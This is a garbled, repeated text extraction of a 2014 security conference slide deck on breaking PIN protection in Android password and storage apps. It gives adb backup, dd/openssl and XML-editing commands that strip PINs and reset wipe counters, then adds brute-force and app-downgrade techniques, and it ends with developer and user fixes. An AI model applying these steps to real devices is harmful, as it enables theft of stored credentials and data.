bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 33: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 47

TLDR

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 99

Not the easiest process

Chris John Riley | 22102014 | 101

counter++

Chris John Riley | 22102014 | 102

Chris John Riley | 22102014 | 103

We get

tries10000

Chris John Riley | 22102014 | 104

Chris John Riley | 22102014 | 105

We get

tries10000

Chris John Riley | 22102014 | 106

Chris John Riley | 22102014 | 108

Letrsquos make it easier

Chris John Riley | 22102014 | 109

ltstring name=passwordrepromptonactivategt0ltstringgt

ltstring name=pincodeforrepromptgthellipltstringgt ltstring name=requirepingt0ltstringgt

Chris John Riley | 22102014 | 110

PROFIT

Chris John Riley | 22102014 | 111

Easier Attack

bull Backup app databull Edit XML

bull remove PIN

bull Repackagebull Restorebull WIN

easierhellip

Chris John Riley | 22102014 | 112

Chris John Riley | 22102014 | 113

>

Chris John Riley | 22102014 | 114

for points

Chris John Riley | 22102014 | 115

Persıstencepəˈsɪst(ə)ns

noun1 the fact of continuing in an opinion or course of action in spite of difficulty or opposition

Chris John Riley | 22102014 | 116

Persistence

bull Backup LastPass from device Abull Edit backup to remove PINbull Rebuild backup

bull Restore backup to device Bbull Close amp restart to re-sync changesbull Ongoing Profit

Chris John Riley | 22102014 | 117

but I RESET my password

Chris John Riley | 22102014 | 118

PROFIT++

Chris John Riley | 22102014 | 119

Chris John Riley | 22102014 | 120

spideroak

Chris John Riley | 22102014 | 121

Personal and business solutionsbull BIG on privacybull Not bad on security

spideroak

Chris John Riley | 22102014 | 122

I said not bad

Chris John Riley | 22102014 | 123

httpsspideroakcom

Chris John Riley | 22102014 | 124

Thats good

Chris John Riley | 22102014 | 125

but users are dumb

Chris John Riley | 22102014 | 126

and spideroak

Chris John Riley | 22102014 | 127

sh ts itself in the foot

8

Chris John Riley | 22102014 | 128

adb backupbull rapp_databaselocalstoragefile__0localstorage

bull BasicCredentials Basic xxxxx

spideroak

Chris John Riley | 22102014 | 129

Chris John Riley | 22102014 | 130

Still better than moist

Chris John Riley | 22102014 | 131

Chris John Riley | 22102014 | 132

boxcom

Chris John Riley | 22102014 | 133

Boxcom

Personal solutionbull Can be secured w a PINbull Limited to 4 digits

Chris John Riley | 22102014 | 134

httpswwwboxcomabout-ussecurity

Chris John Riley | 22102014 | 135

REPHRASE

POLICYYOUR

AGRESSIVE MUCH

Chris John Riley | 22102014 | 136

Chris John Riley | 22102014 | 137

Just get to the good bıt

alreadyhellip

Chris John Riley | 22102014 | 138

Boxcom

adb backupbull myPreferencexml

Chris John Riley | 22102014 | 139

ltstring name=pinCodegt

xxxxxltstringgt

hashed pin

myPreferencexml

Chris John Riley | 22102014 | 140

subtle [ˈsʌtəl]adj

a not immediately obvious or comprehensible

b cunning or wily

Chris John Riley | 22102014 | 141

Boxcom

bull adb backupbull remove PINbull adb restore

bull Profit

Chris John Riley | 22102014 | 142

>

Chris John Riley | 22102014 | 143

Chris John Riley | 22102014 | 144

GOODfor enterprise

Chris John Riley | 22102014 | 145

GOOD

Enterprise email solutionbull email | contacts | intranet browser | hellipbull Secured with a PIN or password

bull enterprise policy

bull Wipes data device after 10 false logons

httpswwwgoodcom

Chris John Riley | 22102014 | 146

Adv security features

bull Double encryptionbull SSL Tunnel + Encrypted contents

bull Full MDM solutionbull Password Policiesbull hellip

bull r00t detectionbull emulator detectionbull advanced detection

httpswwwgoodcom

Chris John Riley | 22102014 | 147

Lost device (BYOD)bull Can an attacker prevent secure wipebull Can an attacker access cached data

Chris John Riley | 22102014 | 148

PROBLEM

1

Chris John Riley | 22102014 | 149

unlike LastPass

Chris John Riley | 22102014 | 150

preferences are

encrypted

Chris John Riley | 22102014 | 151

PROBLEM

2

Chris John Riley | 22102014 | 152

hellipafter 10 false logonsauto-wipe

Chris John Riley | 22102014 | 154

Disable PIN

Chris John Riley | 22102014 | 155

auto-wipe counter

Chris John Riley | 22102014 | 156

brute-force

Chris John Riley | 22102014 | 157

buthellip

Chris John Riley | 22102014 | 158

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

DE

RP

Chris John Riley | 22102014 | 160

THEORY

1

Chris John Riley | 22102014 | 161

Theory

bull Auto-wipe counterbull Stored IN app data somewhere

Chris John Riley | 22102014 | 162

THEORY

2

Chris John Riley | 22102014 | 163

adb restore

Chris John Riley | 22102014 | 164

over writeauto-wipe

counter

Chris John Riley | 22102014 | 165

facepalm

Chris John Riley | 22102014 | 166

brute-force

Chris John Riley | 22102014 | 167

Naiumlve Attack

bull Backup app databull until goodunlock

bull Try 9 PINSbull Restore app data

Chris John Riley | 22102014 | 168

PROBLEM

3

Chris John Riley | 22102014 | 169

Chris John Riley | 22102014 | 170

Naiumlve Attack timing

1875 ppm ~ 50 keyspace

bull 4 digit PINbull est 45 hours

bull 6 digit PINbull est 185 days

bull 8 digit PINbull est 5 years

Chris John Riley | 22102014 | 171

Naiumlve Attack timing

bull 4 lower alphanumbull est 31 days

bull 6 lower alphanumbull est 3 years

bull 8 lower alphanumbull est 110 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 172

Naiumlve Attack timing

bull 4 mixed alphanumbull est 1 year

bull 6 mixed alphanumbull est 465 years

bull 8 mixed alphanumbull est 2880 years

1875 ppm ~ 50 keyspace

Chris John Riley | 22102014 | 174

Device

CONTAINER

Chris John Riley | 22102014 | 175

Device

CONTAINER

Chris John Riley | 22102014 | 176

Device

CONTAINER

facepalm

facepalm

Chris John Riley | 22102014 | 181

Adv Attack

bull Automate PIN + restorebull adb shell input textbull adb shell input keyeventbull adb shell input tap

Chris John Riley | 22102014 | 183

Minimize keyspace

bull Password Rulesbull No sequenced numbers (eg 12xx x23x xx32)bull No duplicate numbers (eg 1111)

bull Resultbull HIGHER security

bull Less stupiditybull REDUCED keyspace

Chris John Riley | 22102014 | 185

herersquos one I

Made earlier

Chris John Riley | 22102014 | 186

>

Chris John Riley | 22102014 | 187

PROFIT

Chris John Riley | 22102014 | 189

4

][Makıngit easy

Chris John Riley | 22102014 | 190

methodology

bull Common methodologybull Backup (adb)bull Extractbull Examine bull Editbull Repackbull Restore (adb)

larr here be dragonslarr bypass all the things

Chris John Riley | 22102014 | 191

remember this process

Chris John Riley | 22102014 | 192

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

6 - dd if=lpassab bs=24 count=1 of=lpass_newab

7 - openssl zlib -in lpass_newtar gtgt lpass_newab

8 - adb restore lpass_newab

Chris John Riley | 22102014 | 193

Say that 10 times fast

Chris John Riley | 22102014 | 195

automatıon

Chris John Riley | 22102014 | 198

Pythontothe rescue

Chris John Riley | 22102014 | 199

ab_unpackerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 200

ab_packerpy

httpsgithubcomChrisJohnRileyRandom_Code

Chris John Riley | 22102014 | 201

Makes 0wning things

Chris John Riley | 22102014 | 202

200 quicker

1000 funner

oo

oo

Chris John Riley | 22102014 | 207

Bonus

n0t a bug

Chris John Riley | 22102014 | 208

Chris John Riley | 22102014 | 209

You have an application bugbull Like one of the ones mentioned herebull Buthellip the vendor has patched it

Chris John Riley | 22102014 | 210

exploit

Chris John Riley | 22102014 | 211

Exploiting it anyway

Canrsquot exploit it straight offbull Need to make the vuln re-appear

Chris John Riley | 22102014 | 212

Exploiting it anyway

Android allows downgrading of appsbull In a round-about way anyway )bull Bug or feature

bull Google says feature

Chris John Riley | 22102014 | 213

Chris John Riley | 22102014 | 214

METHOD

1

Chris John Riley | 22102014 | 215

Reinstall flag

Reinstall app using ndashr parameterbull APK MUST have valid matching signature

adb install -r ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 216

METHOD

2

Chris John Riley | 22102014 | 217

Uninstall Reinstall

bull Uninstall applicationbull Leave program data in place (-k)

bull Reinstall appbull APK MUST have valid matching signature

1gt adb uninstall -k ltcurrentappversiongt2gt adb install ltvulnerble_versionapkgt

Chris John Riley | 22102014 | 218

exploit

Chris John Riley | 22102014 | 219

derpppp

derp

DerpderpDERPDE

RPderp

derp

Derpderp DE

RP

derp DerpderP

Chris John Riley | 22102014 | 221

5

][ RE

VIEW

Chris John Riley | 22102014 | 222

ldquosecurerdquocontainers

=SECURE containers

Chris John Riley | 22102014 | 223

Physıcal access

Chris John Riley | 22102014 | 225

Devıcesecurity

Chris John Riley | 22102014 | 226

Datasecurity

Chris John Riley | 22102014 | 228

51

)( ITFIX

Chris John Riley | 22102014 | 230

specificissues

Chris John Riley | 22102014 | 231

lastpass

Chris John Riley | 22102014 | 232

spideroak

Chris John Riley | 22102014 | 233

boxcom

Chris John Riley | 22102014 | 234

GOODfor enterprise

Chris John Riley | 22102014 | 236

Developers

Can youread this

Chris John Riley | 22102014 | 238

androidallowBackup

httpdeveloperandroidcomguidetopicsdatabackuphtml

Chris John Riley | 22102014 | 239

Some devs

GET it

Chris John Riley | 22102014 | 240

Chris John Riley | 22102014 | 241

pref fıles

Chris John Riley | 22102014 | 242

Securing Apps

bull Preference files are NOT secretbull Encrypt preference databull ONLY store encrypted passwords

bull No XOR base64 pleasebull Better still donrsquot store passwords here

bull Donrsquot TRUST the configbull HMAC | Sign | Encrypt

Chris John Riley | 22102014 | 243

androıd backup

Chris John Riley | 22102014 | 244

Securing Apps

bull Disallow Android Backupbull if you donrsquot absolutely need it

ltapplication androidallowBackup=ldquofalserdquogt

Chris John Riley | 22102014 | 245

extra securıty

Chris John Riley | 22102014 | 246

Extra Security

bull USB Debuggingbull Detect + Disable app when activated

bull Root makes these hacks easier stillbull readedit preference files on device itselfbull ROOT detection is too basic

bull easy to fool

usersen

d

Chris John Riley | 22102014 | 248

Users

bull Encrypt your devicebull Encrypts ADB backups

bull Need to enter same passcode on backup screen

bull Disable USB Debuggingbull protects against adb pull push attacks

bull Donrsquot lose your phone )

Chris John Riley | 22102014 | 249

Users

bull Upgrade to the latest Android releasebull If possible

bull Additional ADB protectionsbull Introduced in Android 43

QuestionsOMFG

A Talking Horse

Bite me space boy

Thanks for cominghttpblogc22cc

ChrisJohnRiley contactc22cc

  • MOBILE FAIL Cracking open bdquosecureldquo Android Containers
  • Slide 2
  • Slide 3
  • Slide 4
  • Slide 5
  • Slide 6
  • Slide 7
  • Slide 8
  • Slide 9
  • Slide 10
  • Slide 11
  • Slide 12
  • Slide 13
  • Slide 14
  • ldquoSecurerdquo Containers
  • Slide 16
  • Slide 17
  • Slide 18
  • Slide 19
  • Slide 20
  • Slide 21
  • Slide 22
  • Slide 23
  • Slide 24
  • Slide 25
  • Slide 26
  • Slide 27
  • Slide 28
  • Slide 29
  • Slide 30
  • Slide 31
  • Slide 32
  • Android PIN Brute-Force
  • Slide 34
  • Slide 35
  • Slide 36
  • Slide 37
  • Slide 38
  • Scenario
  • Slide 40
  • Slide 41
  • Slide 42
  • Slide 43
  • Slide 44
  • Slide 45
  • Slide 46
  • Slide 47
  • Slide 48
  • Slide 49
  • Slide 50
  • Slide 51
  • Slide 52
  • Slide 53
  • Slide 54
  • Slide 55
  • Slide 56
  • Slide 57
  • Slide 58
  • ADB ndash Android Debug Bridge
  • Slide 60
  • Slide 61
  • ADB ndash Android Debug Bridge (2)
  • ADB ndash Android Debug Bridge (3)
  • ADB ndash Android Debug Bridge (4)
  • ADB ndash Android Debug Bridge (5)
  • ADB ndash Android Debug Bridge (6)
  • Supporting Tools
  • Slide 68
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • lastpass
  • lastpass (2)
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Slide 79
  • Slide 80
  • Slide 81
  • AndroidManifestxml
  • AndroidManifestxml (2)
  • Slide 84
  • Slide 85
  • Slide 86
  • Android Backup (ab)
  • Slide 88
  • LPandroidxml
  • Slide 90
  • Slide 91
  • Slide 92
  • Slide 93
  • Slide 94
  • Theory
  • Proposed Attack
  • Slide 97
  • Slide 98
  • Slide 99
  • Slide 100
  • Slide 101
  • Slide 102
  • Slide 103
  • Slide 104
  • Slide 105
  • Slide 106
  • Slide 107
  • Slide 108
  • Slide 109
  • Slide 110
  • Easier Attack
  • Slide 112
  • Slide 113
  • Slide 114
  • Slide 115
  • Persistence
  • Slide 117
  • Slide 118
  • Slide 119
  • Slide 120
  • Slide 121
  • Slide 122
  • Slide 123
  • Slide 124
  • Slide 125
  • Slide 126
  • Slide 127
  • Slide 128
  • Slide 129
  • Slide 130
  • Slide 131
  • Slide 132
  • Slide 133
  • Slide 134
  • Slide 135
  • Slide 136
  • Slide 137
  • Slide 138
  • Slide 139
  • Slide 140
  • Slide 141
  • Slide 142
  • Slide 143
  • Slide 144
  • GOOD
  • Adv security features
  • Slide 147
  • Slide 148
  • Slide 149
  • Slide 150
  • Slide 151
  • Slide 152
  • Slide 153
  • Slide 154
  • Slide 155
  • Slide 156
  • Slide 157
  • AndroidManifestxml (3)
  • DERP
  • Slide 160
  • Theory (2)
  • Slide 162
  • Slide 163
  • Slide 164
  • Slide 165
  • Slide 166
  • Naiumlve Attack
  • Slide 168
  • Slide 169
  • Naiumlve Attack timing
  • Naiumlve Attack timing (2)
  • Naiumlve Attack timing (3)
  • Slide 173
  • Slide 174
  • Slide 175
  • Slide 176
  • Slide 177
  • Slide 178
  • Slide 179
  • Slide 180
  • Adv Attack
  • Slide 182
  • Minimize keyspace
  • Slide 184
  • Slide 185
  • Slide 186
  • Slide 187
  • Slide 188
  • Slide 189
  • methodology
  • Slide 191
  • Slide 192
  • Slide 193
  • Slide 194
  • Slide 195
  • Slide 196
  • Slide 197
  • Slide 198
  • ab_unpackerpy
  • ab_packerpy
  • Slide 201
  • Slide 202
  • Slide 203
  • Slide 204
  • Slide 205
  • Slide 206
  • Slide 207
  • Slide 208
  • Slide 209
  • Slide 210
  • Exploiting it anyway
  • Exploiting it anyway (2)
  • Slide 213
  • Slide 214
  • Reinstall flag
  • Slide 216
  • Uninstall Reinstall
  • Slide 218
  • Slide 219
  • Slide 220
  • Slide 221
  • Slide 222
  • Slide 223
  • Slide 224
  • Slide 225
  • Slide 226
  • Slide 227
  • Slide 228
  • Slide 229
  • Slide 230
  • Slide 231
  • Slide 232
  • Slide 233
  • Slide 234
  • Slide 235
  • Slide 236
  • Slide 237
  • androidallowBackup
  • Slide 239
  • Slide 240
  • Slide 241
  • Securing Apps
  • Slide 243
  • Securing Apps (2)
  • Slide 245
  • Extra Security
  • Slide 247
  • Users
  • Users (2)
  • Slide 250
  • Slide 251
  • Slide 252
  • Slide 253
Page 34: Mobile Fail: Cracking Open "secure" Android Containers [SecTorCA]

Chris John Riley | 22102014 | 48

pwn secure

contaıners

Chris John Riley | 22102014 | 49

G ALMYNOT

Chris John Riley | 22102014 | 50

bypass devıce PIN12

34

Chris John Riley | 22102014 | 51

r00t the device

Chris John Riley | 22102014 | 52

do anythıng resemblınghellip

Chris John Riley | 22102014 | 53

Chris John Riley | 22102014 | 54

Chris John Riley | 22102014 | 56

HOW O

2

][

Chris John Riley | 22102014 | 57

keep it simple

Chris John Riley | 22102014 | 58

Androıd Debug Brıdge

Chris John Riley | 22102014 | 59

ADB ndash Android Debug Bridge

bull Requires USB Debugging Enabledbull Doesnt require ROOTed device

bull Root grants further access makes things trivial

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 60

Chris John Riley | 22102014 | 61

adbcrash course

Chris John Riley | 22102014 | 62

ADB ndash Android Debug Bridge

Allows application side-loadingbull [un]install applications over adb

bull Doesnrsquot require device to be activebull Can be PIN locked (for some functions)bull New security implemented in 43

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 63

ADB ndash Android Debug Bridge

adb backupbull Backup Android device over adb (ICS onwards)

bull -system rarr system databull -apk rarr application apk

bull Can backup specific application data individually

adb backup comandroidapp -f backupab

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 64

adb restorebull Restore Android backup over adb (ICS onwards)

bull Restore specific application data individuallybull with or without application (apk)

adb restore backupab

ADB ndash Android Debug Bridge

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 65

adb pull sdcardsecrettxt secrettxt

ADB ndash Android Debug Bridge

adb pull pushbull Copy data to from device over adbbull Limited access for non-root users

bull no access to application config without rootbull Works on locked devices (PIN Protected)

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 66

ADB ndash Android Debug Bridge

adb shellbull Shell access on device

bull Send keys tapsbull Limited for non-root usersbull Works on locked devices (PIN Protected)

adb shell

httpdeveloperandroidcomtoolshelpadbhtml

Chris John Riley | 22102014 | 67

Supporting Tools

bull opensslbull w zlib support compiled

bull starbull tar tool w added functionality we need

Chris John Riley | 22102014 | 69

3

][Closerlook

Chris John Riley | 22102014 | 70

Chris John Riley | 22102014 | 71

lastpass

Chris John Riley | 22102014 | 73

lastpass

Personal solution (w enterprise option)bull Uses online syncbull Can be secured with a PINbull Can wipe data after 5 false logonsbull Restricts screenshots

httpslastpasscomandroid

Chris John Riley | 22102014 | 74

lastpass

Can store lastpasscom passwordbull So users dont need to type it EVERY timebull Reduces securitybull Makes it usable

Chris John Riley | 22102014 | 75

Why store

the PW

Chris John Riley | 22102014 | 76

_mySecur3LsTp$$p$$w0rd1sDAb0mbampampamp

bull Easy to rememberbull Impossible to type

Chris John Riley | 22102014 | 77

Itrsquos

thoughOK

Chris John Riley | 22102014 | 78

You can enable a

PIN

Chris John Riley | 22102014 | 79

PIN Securitybull Limited to 4 digitsbull ldquoauto-Wiperdquo data

bull after 5 false logons

Chris John Riley | 22102014 | 80

PIN ==

SECURE

Chris John Riley | 22102014 | 82

AndroidManifestxml

Chris John Riley | 22102014 | 83

ltapplication androidallowBackup=ldquotruerdquogt

AndroidManifestxml

Chris John Riley | 22102014 | 84

Default true

Chris John Riley | 22102014 | 85

adb backup comlastpasslpandroid ndashf lpab

Chris John Riley | 22102014 | 86

What good is an ab file

Chris John Riley | 22102014 | 87

bull zlib compressed (kinda)bull skip header (24 bytes)bull pipe to openssl wzlib support

dd if=dropboxab bs=24 skip=1 |

openssl zlib -d gt dropboxtar

Android Backup (ab)

Chris John Riley | 22102014 | 89

LPandroidxml

bull lastpasscom usernamebull laspasscom password (encoded)bull PIN (encoded)bull Settingsbull

Chris John Riley | 22102014 | 90

Chris John Riley | 22102014 | 91

ltstring name=reprompt_triesgt

0ltstringgt

Chris John Riley | 22102014 | 92

That looks interesting

Chris John Riley | 22102014 | 93

( )THEORY

Chris John Riley | 22102014 | 94

if reprompt_tries lt 5

prompt_for_pin()else

drop_the_DBass()end

Chris John Riley | 22102014 | 95

Theory

bull reprompt_tries as iterator bull increases till it reaches 5bull Sounds reasonable

bull edit the XML and restore itbull Lets set ldquoreprompt_triesrdquo to -9999 then )

Chris John Riley | 22102014 | 96

Proposed Attack

bull Backup app databull Edit XML

bull set ldquoreprompt_triesrdquo to -9999

bull Repackagebull Restore

Chris John Riley | 22102014 | 98

0 - adb backup comlastpasslpandroid -f lpassab

1 - dd if=lpassab bs=24 skip=1 | openssl zlib -d gt lpasstar

2 - tar -tf lpasstar gt lpasslist

3 - tar -xvf lpasstar

4 - edit appscomlastpasslpandroidspLPandroidxml

5 - star -c -v -f lpass_newtar -no-dirslash list=lpasslist apps

